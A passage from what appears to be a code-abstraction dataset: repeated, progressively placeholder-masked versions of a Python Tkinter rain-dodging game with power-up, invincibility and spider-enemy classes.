data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n <function token>\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n <function token>\n <function token>\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n <function token>\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n <function token>\n <function token>\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n <function token>\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 